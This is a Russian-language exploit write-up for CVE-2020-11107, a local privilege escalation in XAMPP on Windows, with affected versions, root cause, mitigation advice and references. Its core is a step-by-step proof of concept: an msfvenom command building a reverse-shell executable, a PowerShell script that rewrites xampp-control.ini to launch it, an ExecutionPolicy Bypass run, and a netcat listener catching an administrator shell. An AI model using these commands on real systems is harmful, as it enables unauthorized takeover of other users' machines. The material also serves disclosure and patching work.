🧨 CVE-2020-11107 – Повышение привилегий локально в XAMPP (Windows)

📌 Обзор

CVE-2020-11107 — это уязвимость локального повышения привилегий (LPE), затрагивающая Apache Friends XAMPP на Windows.

Непривилегированный пользователь может изменить файл конфигурации панели управления XAMPP (xampp-control.ini) и заменить исполняемый файл редактора по умолчанию (notepad.exe) на вредоносный исполняемый файл.
Когда другой пользователь (например, Администратор) открывает логи через панель управления, вредоносный бинарный файл выполняется с привилегиями жертвы, что приводит к повышению привилегий.

❗ Эта уязвимость не затрагивает Linux или macOS.

---

🎯 Затронутые версии

• XAMPP < 7.2.29
• XAMPP 7.3.x < 7.3.16
• XAMPP 7.4.x < 7.4.4

Протестировано на

• Windows 10
• XAMPP 7.3.10

---

🧠 Основная причина

• xampp-control.ini доступен для записи всем пользователям
• Пути к редактору / браузеру доверены и выполняются
• Изменения конфигурации затрагивают всех пользователей
• Отсутствует проверка путей к исполняемым файлам

---

🗂 Важные файлы

C:\xampp\xampp-control.ini
C:\xampp\xampp-control.exe

---

🔍 Подтверждение уязвимости

Проверка версии XAMPP:

type C:\xampp\properties.ini

Пример вывода:

base_stack_version=7.3.10-1
base_stack_platform=windows-x64

✅ Версия уязвима.

---

⚔️ Шаги эксплуатации (PoC)

1️⃣ Создание вредоносной нагрузки (Атакующий – Kali)

msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.xxx.xxx LPORT=4444 \
-f exe -o msf.exe

---

2️⃣ Передача нагрузки на цель

mkdir C:\temp
# Загрузить msf.exe в C:\temp

---

3️⃣ Изменение конфигурации XAMPP (Пользователь с низкими привилегиями)

Скрипт эксплуатации (PowerShell):

# CVE-2020-11107 PoC
$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
$replace = "C:\temp\msf.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $file

Запуск скрипта:

powershell -ExecutionPolicy Bypass -File 50337.ps1

---

4️⃣ Запуск эксплуатации (Жертва / Администратор)

Жертва запускает:

C:\xampp\xampp-control.exe

Затем открывает любой файл лога из панели управления.

---

5️⃣ Перехват shell (Атакующий)

nc -lvnp 4444

✅ Результат:

Connection received...
C:\WINDOWS\system32>

🎉 Повышение привилегий выполнено успешно

---

📈 Влияние

• Локальное повышение привилегий
• Произвольное выполнение команд
• Полная компрометация системы (если запускает Администратор)

---

🛡 Смягчение

• Обновите XAMPP до одной из следующих версий (или новее):

  • 7.2.29
  • 7.3.16
  • 7.4.4

• Ограничьте права доступа к:

C:\xampp\xampp-control.ini

• Избегайте запуска панели управления XAMPP от имени Администратора

---

📚 Ссылки

• CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11107
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2020-11107
• Уведомление Apache Friends: https://www.apachefriends.org/blog/new_xampp_20200401.html
• Exploit-DB: https://www.exploit-db.com/exploits/50337
• Оригинальное исследование: https://github.com/S1lkys/CVE-2020-11107